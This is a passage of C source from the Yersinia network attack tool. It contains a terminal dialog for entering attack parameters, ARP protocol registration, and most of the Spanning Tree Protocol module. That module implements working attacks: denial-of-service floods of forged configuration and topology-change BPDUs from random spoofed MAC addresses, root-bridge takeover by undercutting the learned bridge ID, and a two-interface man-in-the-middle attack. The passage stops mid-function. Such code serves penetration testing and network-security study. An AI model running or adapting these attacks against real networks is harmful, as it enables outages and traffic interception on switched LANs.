max_print+3; else max_x = strlen(bottom)+4; max_y = nparams+4; my_window = newwin(max_y, max_x, (row-max_y)/2, (col-max_x)/2); my_panel = new_panel(my_window); wattron(my_window, COLOR_PAIR(3)); box(my_window, 0, 0); mvwprintw(my_window, 0, 2, "Attack parameters"); mvwprintw(my_window, max_y - 1, 2, bottom); wattroff(my_window, COLOR_PAIR(3)); wmove(my_window, max_x - 3, 1); noecho(); curs_set(0); for (i=0; i< nparams; i++) { wattron(my_window, COLOR_PAIR(2)); mvwprintw(my_window, i+2, 1, "%*s", offset_x, param[i].desc); wattroff(my_window, COLOR_PAIR(2)); mvwprintw(my_window, i+2, 2+offset_x, "%s", param[i].print); } origin_x = 2+offset_x; origin_y = 2; wmove(my_window, origin_y, origin_x); noecho(); curs_set(1); keypad(my_window, TRUE); wtimeout(my_window,NCURSES_KEY_TIMEOUT); end_edit = 0; while (!end_edit && !terms->gui_th.stop) { do { key_pressed = wgetch(my_window); } while ( (key_pressed == ERR) && !terms->gui_th.stop); if (terms->gui_th.stop) break; switch(key_pressed) { case 13: /* ENTER */ end_edit = 1; ret = 0; break; case 27: /* ESC */ end_edit = 1; ret = -1; break; case 9: /* TAB */ case KEY_DOWN: getyx(my_window,y,x); if ( (y - offset_y) == (nparams-1)) wmove(my_window, origin_y, origin_x); else wmove(my_window, y+1, origin_x); break; case KEY_UP: getyx(my_window,y,x); if ( (y - offset_y) == 0) wmove(my_window, origin_y+(nparams-1), origin_x); else wmove(my_window, y-1, origin_x); break; case KEY_RIGHT: getyx(my_window, y, x); /* jump to the next valid character */ if ( x < (origin_x + param[y-offset_y].size_print - 1)) { if ((param[y-offset_y].type == FIELD_MAC) && (((x - origin_x - 1) % 3) == 0)) wmove(my_window, y, x + 2); /* jump : */ else if ((param[y-offset_y].type == FIELD_BRIDGEID) && ((x - origin_x) == 3)) wmove(my_window, y, x + 2); /* jump . */ else if ((param[y-offset_y].type == FIELD_IP) && (((x - origin_x-1 ) % 4) == 1)) wmove(my_window, y, x + 2); /* jump . */ else wmove(my_window, y, x + 1); } else /* jump to the next field */ { if ((y-offset_y) == (nparams-1)) wmove(my_window, origin_y, origin_x); else wmove(my_window, y+1, origin_x); } break; case KEY_LEFT: getyx(my_window, y, x); if (x > origin_x) { if ((param[y-offset_y].type == FIELD_MAC) && (((x - origin_x) % 3) == 0) ) /* jump */ wmove(my_window, y, x - 2); else if ((param[y-offset_y].type == FIELD_BRIDGEID) && ((x - origin_x) == 5) ) /* jump */ wmove(my_window, y, x - 2); else if ((param[y-offset_y].type == FIELD_IP) && (((x - origin_x) % 4) == 0) ) /* jump */ wmove(my_window, y, x - 2); else wmove(my_window, y, x - 1); } else { if ( (y - offset_y) == 0) wmove(my_window, origin_y+(nparams-1), origin_x+param[origin_y+(nparams-1)-offset_y].size_print-1); else wmove(my_window, y-1, origin_x+param[y-1-offset_y].size_print-1); } break; default: getyx(my_window, y, x); if ((key_pressed == 'Q' || key_pressed == 'q') && (param[y-offset_y].type != FIELD_STR) && (param[y-offset_y].type != FIELD_IFACE) ) { end_edit = 1; ret = -1; } if ((param[y-offset_y].type == FIELD_HEX) || (param[y-offset_y].type == FIELD_MAC) || (param[y-offset_y].type == FIELD_BRIDGEID)) { if (!isxdigit(key_pressed)) /* only hexadecimal characters are allowed */ break; } else if ((param[y-offset_y].type == FIELD_DEC) || (param[y-offset_y].type == FIELD_IP)) { if (!isdigit(key_pressed)) break; } else if ( (param[y-offset_y].type == FIELD_STR) || (param[y-offset_y].type == FIELD_IFACE) ) { if (!isascii(key_pressed)) break; } else /* FIELD_NONE */ break; waddch(my_window, key_pressed | A_BOLD); getyx(my_window, y, x); param[y-offset_y].print[x-origin_x-1] = key_pressed; if ( x >= (origin_x + param[y-offset_y].size_print )) { if ((y-offset_y) == (nparams-1)) wmove(my_window, origin_y, origin_x); else wmove(my_window, y+1, origin_x); } else { if ( (param[y-offset_y].type == FIELD_MAC) && (((x - origin_x + 1) % 3) == 0)) /* jump */ wmove(my_window, y, x + 1); else if ( (param[y-offset_y].type == FIELD_BRIDGEID) && ((x - origin_x) == 4)) /* jump */ wmove(my_window, y, x + 1); else if ( (param[y-offset_y].type == FIELD_IP) && (((x - origin_x + 1) % 4) == 0)) /* jump */ wmove(my_window, y, x + 1); } break; } } keypad(my_window, FALSE); noecho(); curs_set(0); del_panel(my_panel); delwin(my_window); if (terms->gui_th.stop) return -1; return ret; } /* * Display available modes and let the user choose one! */ int8_t ncurses_i_get_mode(u_int8_t mode, WINDOW *main_window) { WINDOW *win; u_int8_t pointer, i, j, aux[MAX_PROTOCOLS], used, end; int32_t key_pressed, row, col; int8_t result; pointer = 0; used = 0; j = 0; for (i=0; igui_th.stop && !end) { i = 0; while (!terms->gui_th.stop && (i < used) ) { if (i == pointer) wattron(win, COLOR_PAIR(5) | A_BOLD); else wattroff(win, COLOR_PAIR(5) | A_BOLD); wmove(win, i+1, 1); whline(win, ' ', 20); mvwprintw(win, i+1, 2, "%-6s %s", protocols[aux[i]].namep, protocols[aux[i]].description); if (i == pointer) wattroff(win, A_BOLD); i++; } wrefresh(win); do { key_pressed = wgetch(win); } while( (key_pressed == ERR) && !terms->gui_th.stop); if (!terms->gui_th.stop) { switch(key_pressed) { case KEY_DOWN: if ( pointer < (used-1)) pointer++; break; case KEY_UP: if (pointer > 0) pointer--; break; case 'Q': case 'q': case 27: end = 1; break; case 13: result = aux[pointer]; end = 1; break; } } } werase(win); wrefresh(main_window); if (delwin(win) == ERR) return ERR; ncurses_c_set_status_line(""); return result; } yersinia-0.7.3/src/arp.c0000644000175000017500000000426712234207266012700 0ustar nknk/* arp.c * Implementation and attacks for Address Resolution Protocol * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: arp.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "arp.h" void arp_register(void) { protocol_register(PROTO_ARP, "ARP", "Address Resolution Protocol", "arp", sizeof(struct arp_data), NULL, NULL, NULL, NULL, NULL, arp_attack, NULL, arp_features, NULL, 0, NULL, 0, NULL, NULL, PROTO_NOVISIBLE, NULL); } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/xstp.c0000644000175000017500000013255612234207266013117 0ustar nknk/* xstp.c * Implementation and attacks for Spanning Tree Protocol (Rapid and Multi) * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: xstp.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "xstp.h" void xstp_register(void) { protocol_register(PROTO_STP, "STP", "Spanning Tree Protocol", "stp", sizeof(struct stp_data), xstp_init_attribs, xstp_learn_packet, xstp_get_printable_packet, xstp_get_printable_store, xstp_load_values, stp_attack, xstp_update_field, xstp_features, xstp_comm_params, SIZE_ARRAY(xstp_comm_params), NULL, 0, NULL, xstp_init_comms_struct, PROTO_VISIBLE, xstp_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t xstp_init_comms_struct(struct term_node *node) { struct stp_data *stp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(xstp_comm_params)); if (comm_param == NULL) { thread_error("xstp_init_commands_struct calloc error",errno); return -1; } stp_data = node->protocol[PROTO_STP].tmp_data; node->protocol[PROTO_STP].commands_param = comm_param; comm_param[XSTP_SMAC] = &stp_data->mac_source; comm_param[XSTP_DMAC] = &stp_data->mac_dest; comm_param[XSTP_ID] = &stp_data->id; comm_param[XSTP_VER] = &stp_data->version; comm_param[XSTP_TYPE] = &stp_data->bpdu_type; comm_param[XSTP_FLAGS] = &stp_data->flags; comm_param[XSTP_ROOTID] = &stp_data->root_id; comm_param[XSTP_PATHCOST] = &stp_data->root_pc; comm_param[XSTP_BRIDGEID] = &stp_data->bridge_id; comm_param[XSTP_PORTID] = &stp_data->port_id; comm_param[XSTP_AGE] = &stp_data->message_age; comm_param[XSTP_MAX] = &stp_data->max_age; comm_param[XSTP_HELLO] = &stp_data->hello_time; comm_param[XSTP_FWD] = &stp_data->forward_delay; comm_param[14] = NULL; comm_param[15] = NULL; return 0; } void xstp_th_send_bpdu_conf(void *arg) { struct attacks *attacks=NULL; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_send_bpdu_conf pthread_sigmask()", errno); xstp_th_send_bpdu_conf_exit(attacks); } xstp_send_all_bpdu_conf(attacks); xstp_th_send_bpdu_conf_exit(attacks); } void xstp_th_send_bpdu_conf_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t xstp_send_all_bpdu_conf(struct attacks *attacks) { dlist_t *p; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { if (xstp_send_bpdu_conf(attacks->mac_spoofing, (struct stp_data *)(attacks->data), (struct interface_data *) dlist_data(p)) < 0) return -1; } return 0; } int8_t xstp_send_bpdu_conf(u_int8_t mac_spoofing, struct stp_data *stp_data, struct interface_data *iface) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; struct interface_data *iface_data; lhandler = iface->libnet_handler; t = libnet_build_stp_conf( stp_data->id, /* protocol id */ stp_data->version, /* protocol version */ stp_data->bpdu_type, /* BPDU type */ stp_data->flags, /* BPDU flags */ stp_data->root_id, /* root id */ stp_data->root_pc, /* root path cost */ stp_data->bridge_id, /* bridge id */ stp_data->port_id, /* port id */ stp_data->message_age, /* message age */ stp_data->max_age, /* max age */ stp_data->hello_time, /* hello time */ stp_data->forward_delay, /* forward delay */ stp_data->rstp_data, /* payload */ stp_data->rstp_len, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build stp header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_2( LIBNET_SAP_STP, /* DSAP */ LIBNET_SAP_STP, /* SSAP */ 0x03, /* control */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_3( stp_data->mac_dest, /* ethernet destination */ (mac_spoofing) ? stp_data->mac_source : iface->etheraddr, /* ethernet source */ LIBNET_802_2_H + LIBNET_STP_CONF_H + stp_data->rstp_len, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_STP].packets_out++; iface_data = interfaces_get_struct(iface->ifname); iface_data->packets_out[PROTO_STP]++; return 0; } void xstp_th_send_bpdu_tcn(void *arg) { struct attacks *attacks=NULL; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_send_bpdu_tcn pthread_sigmask()",errno); xstp_th_send_bpdu_tcn_exit(attacks); } xstp_send_all_bpdu_tcn(attacks); xstp_th_send_bpdu_tcn_exit(attacks); } void xstp_th_send_bpdu_tcn_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t xstp_send_all_bpdu_tcn(struct attacks *attacks) { dlist_t *p; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { if (xstp_send_bpdu_tcn(attacks->mac_spoofing,(struct stp_data *)(attacks->data), (struct interface_data *)dlist_data(p)) < 0) return -1; } return 0; } int8_t xstp_send_bpdu_tcn(u_int8_t mac_spoofing, struct stp_data *stp_data, struct interface_data *iface) { libnet_ptag_t t; int32_t sent; libnet_t *lhandler; struct interface_data *iface_data; lhandler = iface->libnet_handler; t = libnet_build_stp_tcn( stp_data->id, /* protocol id */ stp_data->version, /* protocol version */ stp_data->bpdu_type, /* BPDU type */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build stp header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_2( LIBNET_SAP_STP, /* DSAP */ LIBNET_SAP_STP, /* SSAP */ 0x03, /* control */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_3( stp_data->mac_dest, /* ethernet destination */ (mac_spoofing) ? stp_data->mac_source : iface->etheraddr, /* ethernet source */ LIBNET_802_2_H + LIBNET_STP_TCN_H, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error( "libnet_write error",lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_STP].packets_out++; iface_data = interfaces_get_struct(iface->ifname); iface_data->packets_out[PROTO_STP]++; return 0; } /*****************************/ /* Child/Thread loop sending */ /* Hellos every 'Hello Time' */ /*****************************/ void xstp_send_hellos(void *arg) { int32_t ret, i; u_int16_t secs; struct timeval hello; struct attacks *attacks; struct stp_data *stp_data; attacks = arg; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; attacks = arg; stp_data = attacks->data; secs = 0; i = 0; write_log(0, "\n helper: %d started...\n", (int)pthread_self()); while(!attacks->helper_th.stop) { if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) break; if ( !ret ) /* Timeout... */ { if (i%4) /* 1 sec!!...*/ { i=0; if (secs == (ntohs(stp_data->hello_time)/256) ) /* Send Hellos...*/ { switch((u_int8_t)stp_data->bpdu_type) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: xstp_send_all_bpdu_conf(arg); break; case BPDU_TCN: xstp_send_all_bpdu_tcn(arg); break; } secs=0; } else secs++; } else i++; } /* if timeout...*/ hello.tv_sec = 0; hello.tv_usec = 250000; } /* while...*/ write_log(0," helper: %d finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } /*********************************/ /* DoS attack sending CONF BPDUs */ /* with flag on */ /*********************************/ void xstp_th_dos_conf(void *arg) { struct attacks *attacks=NULL; struct stp_data *stp_data; sigset_t mask; #ifdef LBL_ALIGN u_int16_t temp; #endif attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_dos_conf pthread_sigmask()",errno); xstp_th_dos_conf_exit(attacks); } stp_data = attacks->data; stp_data->flags = STP_TOPOLOGY_CHANGE; /* some default values for BPDUs conf */ stp_data->root_pc = 0; stp_data->hello_time = XSTP_DFL_HELLO_TIME; stp_data->forward_delay = XSTP_DFL_FORW_DELAY; stp_data->max_age = XSTP_DFL_MAX_AGE; parser_vrfy_mac("01:80:C2:00:00:00", stp_data->mac_dest); while(!attacks->attack_th.stop) { attack_gen_mac(stp_data->mac_source); #ifdef LBL_ALIGN temp = libnet_get_prand(LIBNET_PRu16); memcpy((void *)stp_data->bridge_id, (void *)&temp,2); temp = libnet_get_prand(LIBNET_PRu16); memcpy((void *)stp_data->root_id, (void *)&temp,2); #else *((u_int16_t *) (stp_data->bridge_id)) = libnet_get_prand(LIBNET_PRu16); *((u_int16_t *) (stp_data->root_id)) = libnet_get_prand(LIBNET_PRu16); #endif memcpy((void *)&stp_data->root_id[2],(void *)&stp_data->mac_source,6); memcpy((void *)&stp_data->bridge_id[2],(void *)&stp_data->mac_source,6); xstp_send_all_bpdu_conf(attacks); #ifdef NEED_USLEEP thread_usleep(100000); #endif } xstp_th_dos_conf_exit(attacks); } void xstp_th_dos_conf_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /********************************/ /* DoS attack sending TCN BPDUs */ /********************************/ void xstp_th_dos_tcn(void *arg) { struct attacks *attacks=NULL; struct stp_data *stp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_dos_tcn pthread_sigmask()",errno); xstp_th_dos_tcn_exit(attacks); } stp_data = attacks->data; parser_vrfy_mac("01:80:C2:00:00:00",stp_data->mac_dest); stp_data->bpdu_type = BPDU_TCN; while(!attacks->attack_th.stop) { attack_gen_mac(stp_data->mac_source); xstp_send_all_bpdu_tcn(attacks); #ifdef NEED_USLEEP thread_usleep(100000); #endif } xstp_th_dos_tcn_exit(attacks); } void xstp_th_dos_tcn_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /*******************************/ /* NONDoS attack sending BPDUs */ /* claiming root role if RSTP */ /* or claiming the root bridge */ /* if not RSTP */ /*******************************/ void xstp_th_nondos_role(void *arg) { struct attacks *attacks=NULL; struct stp_data *stp_data; struct pcap_pkthdr header; struct timeval now; u_int8_t flags_tmp; u_int8_t *packet=NULL, *stp_conf; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_nondos_role pthread_sigmask()",errno); xstp_th_nondos_role_exit(attacks); } gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; stp_data = attacks->data; if (xstp_learn_packet(attacks, NULL, &attacks->attack_th.stop,stp_data,&header) < 0) xstp_th_nondos_role_exit(attacks); xstp_decrement_bridgeid(stp_data); /* let the thread be created */ thread_create(&attacks->helper_th.id, &xstp_send_hellos, attacks); if ((packet = calloc(1, SNAPLEN)) == NULL) xstp_th_nondos_role_exit(attacks); while (!attacks->attack_th.stop) { interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_STP, NO_TIMEOUT); if (attacks->attack_th.stop) break; stp_conf = (packet + LIBNET_802_3_H + LIBNET_802_2_H); switch (*(stp_conf+3)) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: if ( *(stp_conf+3) == STP_TOPOLOGY_CHANGE) { flags_tmp = stp_data->flags; stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_all_bpdu_conf(arg); stp_data->flags = flags_tmp; } break; case BPDU_TCN: flags_tmp = stp_data->flags; stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_all_bpdu_conf(arg); stp_data->flags = flags_tmp; break; } } free(packet); xstp_th_nondos_role_exit(attacks); } void xstp_th_nondos_role_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /*****************************/ /* Child/Thread loop sending */ /* Hellos every 'Hello Time' */ /*****************************/ void xstp_send_hellos_mitm(void *arg) { int32_t ret, i; u_int16_t secs; struct xstp_mitm_args *xstp_mitm_args; struct timeval hello; struct attacks *attacks; struct stp_data *stp_data, *stp_data2; struct attack_param *param = NULL; dlist_t *p; struct interface_data *iface1, *iface2; attacks = arg; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; xstp_mitm_args = (struct xstp_mitm_args *)arg; attacks = xstp_mitm_args->attacks; stp_data = attacks->data; stp_data2 = xstp_mitm_args->stp_data2; param = attacks->params; p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[XSTP_MITM_IFACE1].value); iface1 = (struct interface_data *) dlist_data(p); p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[XSTP_MITM_IFACE2].value); iface2 = (struct interface_data *) dlist_data(p); secs = 0; i = 0; write_log(0,"\n helper: %d started...\n",(int)pthread_self()); while(!attacks->helper_th.stop) { if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) break; if ( !ret ) /* Timeout... */ { if (i%4) /* 1 sec!!...*/ { i=0; if (secs == (ntohs(stp_data->hello_time)/256) ) /* Send Hellos...*/ { switch((u_int8_t)stp_data->bpdu_type) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data,iface1); xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data2,iface2); break; case BPDU_TCN: xstp_send_bpdu_tcn(attacks->mac_spoofing,stp_data,iface1); xstp_send_bpdu_tcn(attacks->mac_spoofing,stp_data2,iface2); break; } secs=0; } else secs++; } else i++; } /* if timeout...*/ hello.tv_sec = 0; hello.tv_usec = 250000; } /* while...*/ write_log(0," helper: %d finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } /*******************************/ /* DoS attack sending BPDUs */ /* claiming root role if RSTP */ /* or claiming the root bridge */ /* if not RSTP */ /*******************************/ void xstp_th_dos_mitm(void *arg) { struct attacks *attacks=NULL; struct attack_param *param; struct xstp_mitm_args xstp_mitm_args; struct stp_data *stp_data, stp_data2; struct pcap_pkthdr header; struct timeval now; u_int8_t flags_tmp, flags_tmp2; u_int8_t *packet=NULL, *stp_conf; dlist_t *p; struct interface_data *iface, *iface1, *iface2; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_dos_mitm pthread_sigmask()",errno); xstp_th_dos_mitm_exit(attacks); } gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; stp_data = attacks->data; xstp_mitm_args.attacks = attacks; xstp_mitm_args.stp_data2 = &stp_data2; param = attacks->params; p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[XSTP_MITM_IFACE1].value); iface1 = (struct interface_data *) dlist_data(p); p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[XSTP_MITM_IFACE2].value); iface2 = (struct interface_data *) dlist_data(p); if (xstp_learn_packet(attacks, iface1->ifname, &attacks->attack_th.stop, stp_data, &header) < 0) xstp_th_dos_mitm_exit(attacks); xstp_decrement_bridgeid(stp_data); memcpy((void *)&stp_data2, (void *)stp_data,sizeof(struct stp_data)); if (xstp_learn_packet(attacks, iface2->ifname, &attacks->attack_th.stop, &stp_data2, &header) < 0) xstp_th_dos_mitm_exit(attacks); xstp_decrement_bridgeid(&stp_data2); /* let the thread be created */ thread_create(&attacks->helper_th.id, &xstp_send_hellos, &xstp_mitm_args); if ((packet = calloc(1, SNAPLEN)) == NULL) xstp_th_dos_mitm_exit(attacks); while (!attacks->attack_th.stop) { iface = interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_STP, NO_TIMEOUT); if ( (iface!=iface1) && (iface!=iface2)) continue; if (attacks->attack_th.stop) break; stp_conf = (packet + LIBNET_802_3_H + LIBNET_802_2_H); switch (*(stp_conf+3)) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: if ( *(stp_conf+3) == STP_TOPOLOGY_CHANGE) { if (iface == iface1) { flags_tmp = stp_data->flags; stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data,iface); stp_data->flags = flags_tmp; } else { flags_tmp2 = stp_data2.flags; stp_data2.flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_bpdu_conf(attacks->mac_spoofing,&stp_data2,iface); stp_data2.flags = flags_tmp2; } } break; case BPDU_TCN: if (iface == iface1) { flags_tmp = stp_data->flags; stp_data->flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_bpdu_conf(attacks->mac_spoofing,stp_data,iface); stp_data->flags = flags_tmp; } else { flags_tmp2 = stp_data2.flags; stp_data2.flags |= STP_TOPOLOGY_CHANGE_ACK; xstp_send_bpdu_conf(attacks->mac_spoofing,&stp_data2,iface); stp_data2.flags = flags_tmp2; } break; } } free(packet); xstp_th_dos_mitm_exit(attacks); } void xstp_th_dos_mitm_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /*******************************/ /* NONDoS attack sending BPDUs */ /* claiming other role */ /*******************************/ void xstp_th_nondos_other_role(void *arg) { struct attacks *attacks=NULL; struct stp_data *stp_data; struct pcap_pkthdr header; struct timeval now; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_th_nondos_role pthread_sigmask()",errno); xstp_th_nondos_other_role_exit(attacks); } stp_data = attacks->data; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_sec; if (xstp_learn_packet(attacks, NULL, &attacks->attack_th.stop, stp_data,&header) < 0) xstp_th_nondos_other_role_exit(attacks); xstp_increment_bridgeid(stp_data); /* set a valid root pathcost */ stp_data->root_pc = 666; /* let the thread be created */ thread_create(&attacks->helper_th.id, &xstp_send_hellos, attacks); } void xstp_th_nondos_other_role_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Get a packet from 'iface' interface, parse the data and copy * it to the 'data' structure. * If iface == ALL_INTS ge a packet from any interface */ int8_t xstp_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header ) { struct stp_data *stp_data; struct libnet_802_3_hdr *ether; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif u_int8_t *packet, *stp_conf; int8_t got_bpdu_conf = 0; dlist_t *p; struct interface_data *iface_data; stp_data = (struct stp_data *)data; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else { iface_data = NULL; } while (!got_bpdu_conf && ! (*stop) ) { interfaces_get_packet(attacks->used_ints, iface_data, stop, header, packet, PROTO_STP, NO_TIMEOUT); if (*stop) { free(packet); return -1; } stp_conf = (packet + LIBNET_802_3_H + LIBNET_802_2_H); switch (*(stp_conf+3)) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: got_bpdu_conf = 1; ether = (struct libnet_802_3_hdr *) (packet); memcpy((void *)stp_data->mac_source, (void *)ether->_802_3_shost, ETHER_ADDR_LEN); memcpy((void *)stp_data->mac_dest, (void *)ether->_802_3_dhost, ETHER_ADDR_LEN); #ifdef LBL_ALIGN memcpy((void 